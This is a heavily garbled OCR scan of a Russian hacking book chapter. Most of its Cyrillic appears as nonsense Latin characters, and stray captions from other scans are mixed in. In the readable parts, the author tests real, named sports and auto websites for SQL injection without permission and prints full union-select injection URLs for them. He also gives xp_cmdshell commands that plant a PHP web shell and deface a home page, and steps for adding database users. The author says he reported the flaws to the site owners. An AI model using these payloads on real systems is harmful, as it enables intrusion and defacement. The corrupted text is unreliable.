Fiaad Referes mestng & drawing for FIRA Ronownrld Cup 2008 Gormany FIRA HQ

Puc. 5.19. NHdopmauma 0 NOAKMICYEHUN
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5.7.3. Macromedia ColdFusion

HecMmoTpsa Ha To, yro Macromedia ColdFusion abconmoTHO HHKaKOro OTHOWIECHHA
He umeer k PHP, Beab 310 camocroarenbHblit a3bik Web-nporpaMmupoBaHus,
owHOKyY, MPUBOAALLYIO K BO3MOXKHOCTH aTaki "SQL-uHBbekuus", Mbl pacCMOTPUM
U 3aech. Jdeno B ToM, yro ColdFusion uaiite Bcero uenonbsyerca B ceaske ¢ MySQL
¥ B3/IOM MPOUCXOAMUT TOYHO TaK K€, KaK W NpPH Hcnonb3oBaHuH cueHapues PHP
¢ ToH xe 6Gazoii AaHHBIX.

Urak, nepen Hamu cHoBa (yrOonbHbii Web-caiit: www.mnthunder.com
(puc. 5.20).

wh Thunder Ganeer Eeaflay, July t4 24 TR g 28 Laties Graffie Stadion

07 iﬂ?!ﬂﬁ Lightnlng Traveis to West
‘Michigan in Search of Fourth Strmgh!: Win

Corolieng Sith Namred 1o e Lsgaue Teas: rf !?e g,
B3 YIEW DETAILY

L s

Puc. 5.20. Web-cant www.mnthunder.com
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Ownbka B HeM kpoercs B cueHapuu igsbase/igstemplate.cfm. Ecan nonpoGosats
nepeaaTh 4Yepe3 napameTp SnavID MOMHMO YHCNA €lUE€ M OAHMHAPHYIO KaBbIYKY,
TO B pe3yibTaTe nepea HamMu noseaserca coobuwenune o6 owmnbke, Kak moka-
3ao Ha puc. 5.21. Ilonuwit URL BeirmgauT cnenyomuM  obpasoM:
http:/www.mnthunder.com/igsbase/igstemplate.cfm?SRC=SP&SRCN=
campdisplay&GnavID=3&SnavID=5".

Puc. 5.21. CoobuieHme o6 owmnbke

Coobuienue ouens noapobHoe W coobluaer HaM NOMHLIA 3anpoc, MO KOTOPO
MOJKHO y3HaTb UM OHOM M3 Tabnuy u HekoTopbie nossd. [TonGupars konuuecTBQ
MojeH He HYXXHO, UX MOXKHO MOJCYUMTATh B OTBETE, KOTOPbIi HaM BepHyn Web
cepeep. Eciin ownbky He 3anaraiot, nonpofyiire camu nourpath ¢ Heil. [Ipocrd
1 HAUero HOBOTO He Hallien, a MOBTOPATLCA HE BHXY CMbICHA.
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SQL-nubvekuuns
(ASP + MS SQL Server)

Ja, SQL-UHBEKUNA BO3MOXKHA H B CLICHAPUAX, HAMMCAHHBIX HA A3bIKE [POTPaMs
MUpoBaHUA ASP. 3TOT A3bik ABNAETCA NMpPAMBIM KOHKYpeHTOM PHP, HO U OH He
MOXeT 06e30macHTh NMporpaMMHCcTa OT BHEApeHUs kona B SQL-3anpockl. Kak MbF
yKe 3HaeM, 3Ta OLUHOKA He 3aBUCHUT OT A3bIKa, T. K. OH MOXET MPEROCTABUTH TO/b-
KO HeobxoauMble BO3MOXKHOCTH A1 OpraHW3alllH MPOCTbIX METOHOB 3aLUMTHI,
He bonee.

Hrak, nasaiite pacCMOTpHM IIpuMepbl aTak Ha Web-cepBepbl, HCMOABL3YIOMIHE
ceasky ASP + MS SQL Server, a notom 6onee noapoGHO NOrosopuM 0O TEOPHH
B3loMa 1 6e30MacHOCTH. BoABLUMHCTBO U3 TOrO, YTO MbI rOBOPHAH paHee (cM. 2. 5),
ocTaetrca B cune. Pasnnua Tonbko B cieunpuke CYBI u ee pyHkuuax.

6.1. NMNpakTuka B3noma

Ho atoro mbi paccMmarpusBaid Haubonee nonynapHoe B HHTepHere Ha naHHbI
MomeHT coueranve: PHP + MySQL. Uto6bt y6eanTbes B NOMyASpHOCTH A&HHOTO
peuieHus, N0CTAaTO4YHO 3aMyCTUTh B MOHCKOBOW CHCTEME 3anpoc Mo AiobomMy cnosy
u GonbwrHCcTBO Web-caiiToB, oTo6paxkeHHbIX B pesynbTaTe, Oyder OCHOBaHO Ha
7ToH cBaske. Ho U apyrue peilleHus He OTCTaloT, MNOMKHMAIOT B YMYAPAIOTCA KOH-
KYpHpOBaTb.

S pewwn cneuManbHoO AN AAHHOW KHUIY HaiTH Heckonbko Web-caliToB, Ha KOTO-
puix OyayT coaepxaThes OWIHOKH, NO3BOAAIOLIKE peani30BaTb SQL-HHBEKUHIO, NPH
YTOM OHM JOJ/KHBI ObITH MOCTPOEHbI C MCROAb30BaHHWeM cBA3kW ASP + MS SQL
Scrver. Bpemenu y Meda 6bi10 HEMHOrO, NOTOMY MTO MOUCK A 3aTeAn Ha pabore,
I ICHb POXKACHHSA OAHOTO W3 aAMHHHUCTPaTOPOB QUpMBI, rae 1 paboraro nporpaMMH-
C1OM. AIMHHUCTPATOPbI U TIPOrPAMMMCTBI Y Hac oTiocATea k ogHomy otaeny HUT,
\1 Mbl Mpa3aHyeM 3HaMeHaTeAbHbIE JaThl BMECTE, I03TOMY MHE MpeacTosno nakTv
neod XOAUMBLHA MaTCpHa OnepaTHBIO U 10 TOFO, KAK IAHICTCH RCUICPHIKA.
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Tak kak Ha ABOpe YeMMHOHAT MHpa 1o ¢yTdoNy, TO A NPOCTO 3aNyCTHI MOUCK MO

cnoBy "soccer”. Ilpu 3ToM MeHs HHTepecoBaM KpynHbie Web-caifTbl, MOCTpOeH-
Hele Ha ASP + MS SQL Server.

[Tepsuii Web-caiiT, kotopblii nonancs MHe Ha rnasa, — www.escup.com (puc. 6.1).
OH obnagan BceMH HEOOXOAUMBIMHU MHE CBONCTBAMH.

iverrir SYERRISSON
o S

Puc. 6.1. NnasHan ctpaHuua Web-caiita www.escup.com

Kak Bcerna, s Hauan usydat Web-cTpaHuubi, W Be3ae, rie nepeaasaiuch napa-
MeTpbl uepe3 cTpoky URL, s yxasbiBan BMecTo 3HauyeHMi npov3BONbHLIN Habop
cumeonoB. Hanpumep, ecan URL onpenenensoi Web-cTpatnubl Boirnagen kak
http://www.escup.com/index.php?id=10, To BmecTo uncaa "10" B napamerpe id
A npobosan nepenatsh GecnopanoUHbie JaHHbIEC, B TOM YKcie HabpaHHbie Hayral U
00sa3aTe/IbHO coep)kallMe CUMBON OJUHApHO#H KaBbivki. Ha nepsetit B3rnaa Web-
caliT olIMOOK He coaepxan, U f yXe XOTesl nepedTH Ha ApYroi, HO TYT A BBEJ
8 MOJIE NOWCKA CAOBO 'test” W OAMHAPHYIO KaBbIMKY M MEPEA0 MHOI MOABUIACH
3aseTHas ownbka SQL-3anpoca (puc. 6.2).
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Puc. 6.2. Coobujenve o6 ownbke

Toraa s nonpobosan HabpaTek B cTpoke Moucka TekceT: "1est' and 1=1--". Ha stor
pa3 3anpoc Obla BLINOJHEH YJAa4yHO, 3TO YK€ F'OBOPHJIO O BO3MOXKHOCTH HAJIMUMA
owunbku, KoTopas Moxer npuBecTH K SQL-uHbekunu. TyT Heo6X0AHMO 3aMeTHTb,
uyro ecnu ans MySQL nHauano kommeHTtapus 3ro "/*", To ana MS SQL 3ro asa
cuMBona Tupe "--". 5 BBen cneayrolue 3anpocsl:

Test' and 1=0--

Test' union select null--

CooOuleHus, nony4eHHsle B OTBET, YKa3biBai¥ HAa TO, YTO OIKHOKA AEHCTBHTENBLHO
ecTb. Sl yXKe Havan naaHupoBaTh, YTOObI TaKOe caenarh, YTOObI NPOHMIIOCTPHPO-
BaTb BaM BO3MOXHOCTH B3jiomMa cBaA3kH ASP + MS SQL Server, Ho BuaHo ayMan
cnvikoM aonro. Yepes natb MUHYT B oTBeT Ha MoM SQL-3anpochl i yxe Buaen
cooblueHHe o HapyuieHun 6e3onacHoctH (puc. 6.3). Jliobas nonbiTka nepeaarthb
OJIMHAPHYIO KaBBIYKY NpUBOAMAA K owwvOke W 3ampoc "test', koToprii paHbule
JIaBajl MHE HaAEXKIY, HU K Yyemy O0nblIe HE NPHUBOKIL.

AJIMHHUCTPATOpPbl HE TOJIBKO YCMENHM BbIYUC/IUTD MOM TMOMLITKH B3JI0OMA, HO
11 B TEYEHHC 5 MUHYT HcnpaBHTbL owMOKy. Bot ato ckopoctb. Jlawe ner cMuicha
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nucaTh aAMUHHUCTPATOPaM O TOM, YTO A YTO-TO Hallles, MOTOMY UYTO OHH YXe ABHO
Bce 3HaloT. MoHuTOpHHT Web-caiiTa BneyaT/iseT U BbI3biBaeT yBaXKEHHE.

2)Make mre that you have sean *‘Swurrty o SRR N exthe vl rd
: wax mntr&% Lot an T this mearzs you :muldn paded it :

Puc. 6.3. boicTpo cosgaHHan 3awmra .

[Ipogomkas npocMOTp pe3y/bTaToB MOMCKA, 8 HATKHYJICA HA poccuiickuit Web-
caifr www.automarket.ru. YecTHo cka3atb, 1 He MOHA/, KaK OH Ty/a Nona’, Beab
OH TOCBsUIeH aBTOMOOUIBHOW TEMaTHKe.

®opym Ha sTtom Web-caiite Taoke noctpoeH na ASP + MS SQL Server w coaep-
KUT yiAMy owubok. 3aiins Ha ¢opym, 2 ysuzmen cneaywoiumii  URLY
http://www.automarket.ru/forum/forum.asp?FORUM_ID=1&ecat_id=6&Forum_
title=forum. Ecau nepeaars uepes mapamerpbl FORUM_ID MM cal_id KaKoe-TO

YHUC/IO U OJMHAPHYIO KaBBbIYKY, TO Bbl YBHUAMTE OWHOKY, KOTOPAA yKaibiBaeT Ha
BO3MOXHYIO YA3BHUMOCTb.
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A He ctan TpaTuTh BpeMsa Ha HMccreaoraHue 3toro Web-caiita u3-3a ero mM3ko#
nocemaemMoct. EAMHCTBEHHOE, YTO NPHBIEKIO MOE€ BHHMAHHE — MapaMeTp
Forum_title, Yepe3 KOTOPbIH mepenaercsa 3aronosok ¢opyma. [lonpobyem nepe-
AaTh B 3TOM MapaMmeTpe Cheayloulyto cTpoky: "<a href="www.msn.com"> This is
a hacker</a>". PezynpraTr nopasurensHsiii (puc. 6.4). B Tene Web-cTpauuup nps-
MOYrONbHHKOM f BbiZenun cchuiky This is a hacker. Dra cceinka cospana 6iaro-
napa nepeaanHoMy mMHod HTML-koay depe3 napamerp Forum_title. Ecnu Hay
BECTH Kypcop Ha cCCbUIKY, TO B CTpoke cocrosHua nosasnserca URD
www.msn.com. MiMeHHO Ha Hero 1 nepeaan cebinky 4epes HTML-kon.

BosmoxxHocTs BHeapenus HTML-koga B Web-cTpanuuy ouenn onacHa. MoxHoO
copmupoarb Takoii URL, npu xoTopom 3arpyska atoii Web-ctpaHuupl nosb3o-
BaTeNEeM MpHBESET K TOMY, UTO coaepkumoe ero ¢gaiina Cookies 6yaer ornpapne-
HO xakepy. O6 3TOM MblI ellie TOrOBOPUM OTIENBHO.

Puc. 6.4, BHeapeHHnind 8 Web-cTpaHunLly (hopyma Koa
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Kak s yxke ckasaji, C TOYKM 3peHMSs BuioMa 3TOoT Web-caiiT MeHs He
3aHTEPECOBal, XOTA YHHUTOMHTL ero MoxHo 6bu10 B aBa cyeta. Bmecto sToro s
MPOAO/KUA MNOUCKH uero-ro Gonee uHTepecHoro. M 3TO HHTEpecHOe H¢
3aCTaBHIO cebf ponro >kmath, MOTOMY 4YTO A HaTkHyiacAa Ha Web-cai
www.socceramerica.com (puc. 6.5).

Puc. 6.5. Web-cant www.socceramerica.com

He nonro aymas, s BBen coBo "test” W OQWHAPHYIO KaBbIYKY B Mone noucka. Ile-
peno MHO# nossunack owKbKa (puc. 6.6), a 3TO TOBOPHUT O TOM, YTO MHE yJaNlOCh
NOBJIMATL HA HCMONB3YeMBIi cueHapHeM SQL-3anpoc Tak, yro MS SQL Server ne
CMOT €ro BbINOIHHTD.
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Puc. 6.6. Coobuwyenve 06 owunbke

Bot 3t0o yxke nHTepecHo. 3tor Web-caliT aoctarouHo xpynHbid, HO Ja)ke TaKHe
NPOEKTbl HE 3aCTPaxoBaHbl OT HEMPUATHOCTEMH, Belb X pa3paboTKOH 3aHHMMAIOTCA
JIIOAH, KOTOPbIM CBOHCTBEHHO owHbaThbes.

Tenepr MHe HEOOXOAMMO Y3HaTb, CKOJILKO fIOJIel BO3BpaluaeT nouWckoBbiid SQL-
3anpoc. [Jns 3Toro MoKHO MCNONbL30BaTh TAKOM ke MeTOA, Kak U ¢ 6a30#f JaHHBIX
MySQL. 1. e. o6beaunnutTs SQL-3anpoc ¢ ApyruM Ha BbIOOpPKY NyCThIX ROJAEH
(select null, null...). Tonbko B MS SQL Server nna oO0beanHeHHR nyviue
MCIOB30BaTh union all, a HE MPOCTO union. Jleno 8 TOM, YTO union OOBEANHAET
CTPOKH ¥ yYOHpaer moBTOpsiouiMecs (KaKk APY HCMONB3OBAaHHH DISTINCT), & 3TO
paboraet He Bceraa. Henw3s ucnonb3oBaTh DISTINCT, ecnd SQL-3anpoc Boispa-
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IaeT mons, HUMEIOWMUE THI text, a mouckosblf SQL-zanpoc Ha Web-caiite
WWW.SOCCeramerica.com fBHO BO3BpAlLAET TakHe IONA, H MPH UCIOAL3OBAHHH
union noabop HUKOrAa He JACT pe3yabTaTa, [IOTOMY YTO B JIIOOOM ciiy4ae IpHBe-
JET K OMOKe BHITOTHEHUS.

[Tapy MuHyT nonbopa M a1 BbisCHMI, 4TO MOMCKOBbIH SQL-3ampoc BosBpainaer
18 noneii, moToMy 4TO cAefyioLas CTpPOKa, yKa3aHHas B I10Jie [TOMCKaA, HE BbiAana
owurbok:

Test' union all select null, null, null, null, null, null, null,
null, null, null, null,

null, null, null, null, null, null, null -

JAns npocToThl 4 BBOAWI 3Ty CTPOKY HE B MOAE MOUCKA, a KOPPEKTHPOBal €€
B ctpoke URL, kotopas npuHsna cieayiowuii Bua: http://www.socceramerica.com/
searchResults.asp?T2=test %27 % 20union % 20all % 20select % 20null,null,null,
null,null,null,null,null,null,null,nuill,nuil,null,null,null,null,null,null --.

Uto penatb Teneps? [lonpobyem obpaTuthea k Kakoi-Hubyabp cucTeMHol Tabnu-
Lte, HarmpUMep, INFORMATION_SCHEMA . TABLES, Y€pe3 KOTOPYIO MOXKHO y3HAaTh HMesx
Ha Tabauu B 6ase manHbiX. g aTtoro no6aBMM B KOHEL 3ampoca CAeAyloLlee:
"from INFORMATION_SCHEMA.TABLES", T. e. Tenepp BTOpo M3 00B+
€IMHEHHbBIX 3alIpOcOB BbIOUpaeT HyneBbie NoJia U3 CUCTEMHOI Tabnuubl. Tenepy
URL Beirisaut caenyrowdm  obpasom:  http://www.socceramerica.comy
searchResults.asp?T2=test %27 % 20union % 20all % 20select % 20null,null,null,
null,null,null,null,null,null,null,null,null,null,null,null,null,null,null % 20from %
20INFORMATION_SCHEMA.TABLES--.

Pe3ynabTaT nopasvTeNbHbIf: Y MEHA XBaTUIO fipaB Ha MpocMOTp 3ToH Tabauubid
Tenepeb B pesynbTaTe NOHUCKA, MOMUMO 9 HOPMALHBIX 3alUCEH, KOTOpblE COaep<
XKAT pe3yAbTaT I0MCKA MEPBOro 3anpoca SELECT, M0ABUAOCE MHOXKECTBO 3amuceiR
U3 pe3yJibTaTa MOUCKA BTOPOTO 3ampoca SELECT (puc. 6.7).

Urto sepHyn Bropoit SQL-3ampoc, koTopblii Mbl BHeApPWIU? OH BepHYN CTOMBKO;
3anuceii, CKONbLKO CTPOK B TabjHue INFORMATION_SCHEMA.TABLES, HO MPH 3TOM|
BCe MONA B pe3ynbTupyiollem Habope HyseBbie, MOTOMY YTO Mbl HE YKA3a/lH HYX-
Hbie. A KaKoe Nnosie MOXHO BbIOpaTh  rae ero ykasats? Meroa "HayuHoro Thika"
(MMEHHO Hay4HOro) Iokasal, 4YTO TPeTbe Nnoje B 3anpoce — 3TO 3arofioBOK pe-
3yabTaTa noucka. MMeHHO B 3Ty no3duUMIO HY)KHO BCTaBHTL Ha3BaHue Monf
TABLE_NAME U Teneps BHeapeHHbIi SQL-3anpoc BepHeT Bce HMeHa HCMNOAb3YEMbIX
Tabnuu. Moii pesynbtaT MOXHO yBMaeTb Ha puc. 6.8 (umena Tabsuu Bbime-
NeHbl NpAMOYronbHHKOM), a ctpoka URL, koTopas npusena k 3TOMY, BbIMIAOKT
cneayiowdm obpasom: http://www.socceramerica.com/searchResults.asp?T2ma
test %27 % 20union % 20all %0 20select %201,2, TABLE_NAME,null,null,null,null,

null,null,null,null,null,null,null,null,null,null,null %20from % 20INFORMATION_
SCHEMA.TABLES--.
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b
Wnsers i BB
: Sadpitelivinise

Puc. 6.8, Cnucox Tainuy, KoTopbie ucnonbayet Web-cant
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Ha 3ToM uccneoBaHHs A 3aKOHYHJI H OTMPABHA cOOOUIEHHE aIMHHHUCTPATOPY
Hasaiite ABUHeMcA Oanblile W Ha APYrHX NpUMepax YBHAMM eule HeCKONbKO HIO
aHCOB TMOMCKa WM MCCNENOBaHMA OIMOKM, nmpuBOAfwIeH K Bo3MoxHoctH SQL
HHBEKLIHH.

Cnenyrommit  Web-caift, koTopplii nomajici MHe Ha  [asa, —
www,ClassicToday.com (puc. 6.9). OH coaepXHT ClieayIOLIYIO YA3BHMOCTD: €CNk
nonbiTaTbCa NepesaTb B napaMeTpe ID NOMHMO HOMEpa CTaTbd OAWHAPHYIO Ka:
BbiuKy unn aobaButs ob6bvemuHenwe ¢ apyrum SQL-3anpocom, To nossnsercs
coobuenue 06 ommbke (puc. 6.10). Ha nepesiii B3rnsa uHpopmauus o6 ommdke
HH O YeM 0cOGOM He FOBOPHT, HO €CIM NPOKPYTHTb TEXHHYECKYI0 MH(pOpMaLHK
(pasnen Technical Information), BbI yBMAMTE, uTO OLWIKMOKA KpPOETCA MMEHHC
B SQL-3anpoce.

le bl

ST e i by Bkt
. thit wrticts to a frivind

talk-shiow Host that introduces Temto Baba and marries therr on fve TV, in front of 2 shudio
m\gmg, théugh, coacemed the pemlumabe scene in the g‘avayard Tom, now drezsed in Chnstu

aspect of corpres of hirigelf, 4 répresentation of his repeated spiitunl deaths. Several Nmk Shadows appearin all Hs .
incarmations throughout the cpera, gaily drinking martinis with each ciher during the card game fot Tomn's soul A M

defeat, he falls noisily into the mass of corpses!marmqums Despite its sesrng gcmm:ck:y the eft‘acg was wu]y provocanve and
theught-provoking, especially given the eeris context.

Puc. 6.9. Web-caint www.ClassicsToday.com
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swConcertReview.asp

Puc. 6.10. Owwnbka npu nepenave HEKOPPEKTHLIX AAHHBLIX B NapamMeTpe

Ecnan no6asuts B napamerp tekct "AND 1=1", To SQL-3anpoc 6yaer suinosinex
KOPPEKTHO, UTO ABAAETCA JHUWHHM TOATBEPKACHHEM HAHYHA YA3IBUMOCTH:
http://www.classicstoday.com/Classics/ConcertReview_ASPFiles/ViewConcort
Review.asp?Action=User&1D=283%20AND %201=1.
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[locne 3toro a uHauan nopbupaTh kONMYECTBO Monel, koropble Bo3spawaer SQL-
3anpoc. Y MEeHs MOMYYWIoCh 9 IUTYK, MOTOMY YTO NPH MCIIONL30BAHUH O0bEAUHEHHA
KOPPEKTHO BBIMOMHMIICA TONLKO CneaytoLuii 3anpoc (3aech y Hac obbeaunenune ¢ SQL-
3aMpocoM, BO3BpallalowMM 9 Hyaesbix noneid): http://www.classicstoday.com/
Classics/ConcertReview_ASPFiles/ViewConcertReview.asp?Action=User &ID=
283 % 20union %20all % 20select % 20null,null,null,null,null,null,null,null,null.

Bocnonb3oBaTbCA AAHHOW YyA3BUMOCTBIO OY€Hb CNOXKHO. J[eNo B TOM, YTO CLEHa-
puii npocmaTpuBaeT TOJILKO MEPBYIO CTPOKY pe3ynbTaTa, T. €. Ty, KOTOPYK BO3-
BpawmaeTr koppekTHbid SQL-3anpoc, npomucaHHbiil B cueHapHH. PesynbTar Bbi-
MofHeHusa BHeApPeHHOro HaMu SQL-3ampoca (3anpoc select nociae obbeauHeHUS
union) 6yamer HeBuAeH. Kak noctynuth B 3TOM ciydae? locrtaTouHo npocto. Ha-
Ia 3a1auva: BbIGpaTh TaKOH HOMEP CTaTbH, KOTOPOro He CyliecTByeT B 6ase naH-
HbIX. Hanpumep, MoxHo ykasatb "'[D=99999999", Takoii ctaTbu TO4HO HeT. To-
roa B pe3yibTHpyloleM Habope 6yIdyT 3allMCH TOALKO M3 HALLEro BHEAPEHHOrQ
SQL-3anpoca, H Mbl CMOXKEM BBIACHUTb, KakHe ke Tabnuubl XxpaHatca Ha Web«
cepsepe. [lepebupaTh HMEeHa NpUAETCA IO OAHOMY.

Cneayrouni  ¢yrOonbubiit  Web-caiit, nonaBwuii MHe Ha rnaza, —
www.canadasoccer.com — npuHagiexHuT Kanaackoit ¢yrbonbHo# accounaums
(puc. 6.11).

MeHs HauMHAIOT Y)KE MmyraTb MOM IOHCKH. Bcero 3a nmoaaHs A Hallea CTOMbK(E
ya3BUMocTe! CTOUT yuecTb, YTO 1 MPOBOAKA MOUCK TOMABKO 110 GyTOONBHON Tey
MaTHKe W paccMaTpyBal0 UCKIIOUMTEABHO Te Web-caiiThl, YTO MOCTPOCHBI 10 TEXy
Honorud ASP 4 aBnfl0TCA AOCTATOYHO KpYnHbIMH. [1pH 3TOM 4 oTMeTalo qomaniq
HHe Web-cTpanuusl unu Web-caliTel cTpaH Tperbero Mupa (adpukaHckie
accouuanuii ¢pyrbona u np.), raoe ypoBeHb XKuU3HU U npodecCHOHANIU3MA NporpaM4
MHCTOB HAMHOTO HHXE TakoBbIX U3 EBpornbl unu CLUA.

Hrak, omnbka Ha Web-calite www.canadasoccer.com KpoeTcs B CUEHApHH MpOx
cmoTpa cTaTeil (cueHapuii viewArticle.asp), B mapamerpe press_ID. OH He npod
XOJUT HUKAKUX MPOBEPOK W €CIH NepenaTh HEKOPPEKTHbIE JaHHbIE, TO NOABASET
ca owubka (puc. 6.12).

[NoaGop konuvecTBa BO3BpalaeMbiX NMojAeH MOKa3al, YTO KOPPEKTHO BLIMIOAHAETC!
cienytowmii  URL ¢ sHegpeHHbiM  oObeimHenHsiM  SQL-3anpocom|
http://www.canadasoccer.com/eng/media/viewArtical.asp?Press_ID=2365% '
20union %20all %20select % 20null,null,null,null,null,null,null,null,null,null,
null,null,null,null--.

MOXHO NpPOJO/KHTL HCCNENAOBaHUE JaibLie W MONLITATLCA YHHYTOXHTL Webe-
caifT, HO A ceroJHa o6peiii: yxe pebaTa HAYMHAIOT HaKpbIBATh NOJAHY U nopa 6wl
Mo3/paBUTh ToBapHila ¢ AHeM poxkaeHus. [loatomy g ObICTPO HanUcaa MHCLMO
c onucaHueM owubKK Ha BCe aapeca, KOTOPbIE HAWea B pasaene KoiraktoB Webs
caiiTa www.socceramerica.com, ¥ OTNpaBHACA NPa3/HOBATD.,



SQL-unvekyus (ASP + MS SQL Server) 211

Feraie

1% ‘ViawP&é!.Ham.mgt > ._ o

Microsoff liIZlLE,= DB.Prﬁv{d_ar fér':0ﬁ5¢ Drivers éfro_r mnéﬁf

i ODEG drivar does:nat Suppart the requested pm{u&jﬁ_ms.'

fengimediahiewAical asp, ine B1 .

Puc. 6.12. Coobuwenve 05 ownbke
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Bcem BnanensuaM Web-caifiToB, Ha KOTOpBIX 1 Haluen OWKMOKM, A pasocian MUCh-
Ma, B KOTOpbIX noapobHo omucan HaiiaeHHbIe MHOH ya3BUMOCTH. Eciiu BbI nbiTae-
TECb [OBTOPHTL MOH HACHCTBHA, H HE IOJYUYHUTE TEX K€ pe3y/bTaTOB, 3HAUMT,
olHOKH yxke UcrnpasieHbl. ECiM y Bac nmoay4unaoch BOCIPOH3BECTH Te XKe AeHCT-
BHS, KOTOpbi€ YAAJIOCh MHE, HO OLIHOKY HE 3aKpbITH, H TYT YK A HE HeCy HHKaKoH
OTBETCTBEHHOCTH. Kak roBOpUTCS, NOKa rpOM HE MPAHET, MYXHK HE IIEPEKPECTHTCH.

H Bce xe, 1 HaaeKoCh, YTO Bbl OyAeTe UCIMONb30BaATE MONYYSHHYIO HHOOPMAUUIO Ans
co3faHus 6onee samuueHHsix Web-caiitos, a He Ang paspyuweHuns. Eciav Bam HyxHa
CKaHJa/IbHas U3BECTHOCTD, TO, BO3MOXHO, YTO €€ Bbl NOAYy4HTE, HO He 3abbiBaiire,
YTO BMECTE C M3BECTHOCTHIO Bbl MOXETE MOJYUHTb W HECKONbKO CYACTAMBBIX JET
B MECTAX HE CTO/Ib OTAATCHHbIX, I'I¢ HE6O BUAHO TOMLKO YEPE3 XKENEIHYIO PEILETKY.

6.2. OcoberHHocT MS SQL Server

Mou uccnefoBaHWA MOKa3bLIBAIOT, 4TO ecad Web-caliT mocrpoeH Ha CBA3Ke
ASP + MS SQL Server, To mporpaMMHCTbI JOCTATO4HO YaCTO COBEPILAIOT OLIHG-
KW UMEHHO mnpH 06paboTKe MOAYYEHHBIX OT [0Ab30BATEAA JaHHBIX ANA FNOUCKE,
Tak 6100 ¢ Web-caitramu www.socceramerica.com U www.escup.com. [Touemy;
ownbka kpoeTcs HMeHHO 3aech? JlaBaiiTe nonpobyeM paszobpartbesa.

I[pu mepexone ot ogHoit Web-cTpaHHUB! K APYroli B CChijIKE 4alle BCEro nepenas
FOTCHA YHC/IOBbIE 3HAYEHHA, HalIpPUMEp, HAECHTHPHKATOPB! CTPOK U3 OMPEACACHHO
TabanUbI, KOTOPbIE Hy)kKHO 0TOOpa3uth. B ASP joctaTtouno yaobHo peanuzosan
TUnM3auug. [lporpaMMHUCT IPOCTO yKa3biBaeT, YTO OIpPEAENCHHAs MEPEMEHHAS
AomxHa ObITh YHCNOBOH U HHKAKUX NpoOJieM: BCe MOIMbITKH Xakepa yka3aTb Y
TO BMECTO uucaa GyayT mpecekarbes.

B none ana moucka Heo6XOAMMO BBOAMTH COBA M Jto0ble YUTaeMble CUMBOJBLI
a 3HAYMT, [lepeMeHHad I XpaHeHUs HCKOMOro TeKcTa J0/MkHA ObITh TeKCTOBOM
a 3/1ECh Y€ HET BO3MOXHOCTH YTO-TO YOpaTh aBTomMaTH4Yeckd U ASP socnipunmg
MaeT Mody4yaeMbie JaHHble B TOM BHIE, B KOTOPOM yKa3biBaeT MX [0/1b30BaTeNby
M BOT TyT HauMHaeT AeHcTBOBaTH BoMWeOHas oqUHApHAS KaBbIYKa.

B MS SQL Server, uto ucrionesyerca B cBaske ¢ ASP, cBou npoGremb! (cm. pazo. 5.50
Ceiiyac Mbl OCTAaHOBHMCA Ha 3ToM 6onee noapo6HO W y3HaeMm, 4eM rposui
BMELLATEALCTBO Moab3oBaTens 8 SQL-3ampoc.

6.2.1. OnacHbie npoueaypbl MS SQL Server

CaMoe onacHoe C TOYKHM 3peHus 0e30MmacHOCTH — HCMNOAb30BaHHE npoucayphl
xp_cmdshell, KOTOpas MO3BOMAAET BHIIOJNHATH CHUCTEMHBIE KOMauAbl. 3anpoc HY
BBINOJHEHHE KOMaH/Ibl MOXET BbITIAAETh CAEAYIOLIMM 06pa3om:

'; exec master..xXp cmdshell 'komanpa' --
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Hanpumep, ecinu Bbl XOTHTE MPOBEPUTb CBA3b C OMPEACJICHHBIM KOMMbIOTEPOM
KOMaHAOH ping, TO MOXKHO BbINOJHHUTD:

'; eXec master..xp_cmdshell 'ping servername.com' -—-

C nomousio mpoueayps! xp_cmdshell MOXHO AOCTATOYHO AErKO CO3AaTh KaKOH-
HUOyab ¢aiin, Hanpumep:

'; exec master..xp_cmdshell '"<?print(system($camd))?>" >> hack.php' --
Teneps, ecnu y Bac ycraHoBneH uHrepnperatop PHP, xakep cmoxer ucrnonb3o-
BaTb (paitn hack.php ana 6onee yno6HOro BhLIMONHEHHA KOMAHA. A MOXXHO MPOU3-
BecTd U Aedeiic. Ecnu rnasHas Web-ctpanuua 3to index.htm, To goctato4Ho Bbl-
MOAHHTD:

'; exec master..xp_cmdshell '"<Hl>You a hacked</Hl>" >> index.htm' --
[Ipouenypa sp_who Mo3BoAfET NMPOCMOTPETb, KTO ceifvac MOAINIIOYEH K CepBepy,
Hanpumep:

exec sp_who

[Tpumep pesynbTaTa BhinosiHeHus storo SQL-3anpoca:

spid ecid status loginame host blk dbname cmd

9 0 background sa 0 master TASK MANAGER

10 0 background sa 0 master TASK MANAGER

11 0 background sa 0 master TASK MANAGER

51 0 runnable CYD\flenov 0 Northwind SELECT

52 0 sleeping CYD\flenov 0 master AWAITING COMMAND

[MToapobHyto uHdopmaumio o Tekyuieil 6a3e JaHHBIX MOXXHO MOJAYYHTb ¥ C IMOMO-
INbIO Npoueypsb! sp_help:

exec sp_help
| lpumep pesynbTaTa BbINOAHEHHUA dTOH MpoLEAypbI:

NAME Owner Object_Type
Uma Bnapmeneu Tun oGnexkTa
Invoices dbo view
Order Subtotals dbo view
Orders Qry dbo view
Quarterly Orders dbo View

inlon by Category dbo view
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Sales Totals by Amount dbo view

Sysconstraints dbo view
Syssegments dbo view
Categories dbho user table

CustomerCustcomerbDemo dho user table
CustomerDemographics dbo user table

Customers dbo user table

Employees dbo user table

Syscolumns dbo system table

Syscomments dbo system table

Sysdepends dbo system table

sysfilegroups dbo system table

Cnenyrowve nse npouenypbi, KOTOpbie TaAT B cefe OMacHOCTb, — sp_addusex]

H sp_grantdbaccess. Jlnd Hayana paccMOTpUM nepByl M3 HUX. [lpoue
sp_adduser HY)XHO repeaaTh TpHU napamerpa (TONbLKO MEPBLIii NapamMeTp ABNACTC
00a3aTeNbHbIM):

O ums nons3osatens (login);

O wma yuerHo# 3anucd 8 CYBI. Ecau 3toT napamerp He ykasau, To Gyner uce
no/ib30BaHO UMA K3 MEPBOTO N1apaMeTpa;

0O ums rpyniibl WX pOSH, B KOTOPYKO aBTOMATUYCCKH I10NAaAAacT noJjib30BaTeIb.

Ilpu nobasneHun Monb3oBaTeAs YKa3aHHOE WMA YXKe HOMKHO CYLECTBOBAT!
B MS SQL Server unu 8 OC Windows.

PaccmoTpum npumep. B OC Windows yxxe cyiiecTsyer rocresas y4yerHas 3anici
HasaiTe BblaaauM eit NpaBa Ha JOCTYN K TeKywleH 6a3e naHHbIX:

EXEC sp_adduser 'notebook\I'ocTb'

YuerHaa 3anuck ['ocTh npucyrcTByer B Windows-cHcTemMax no yMOJTUaHHIO,

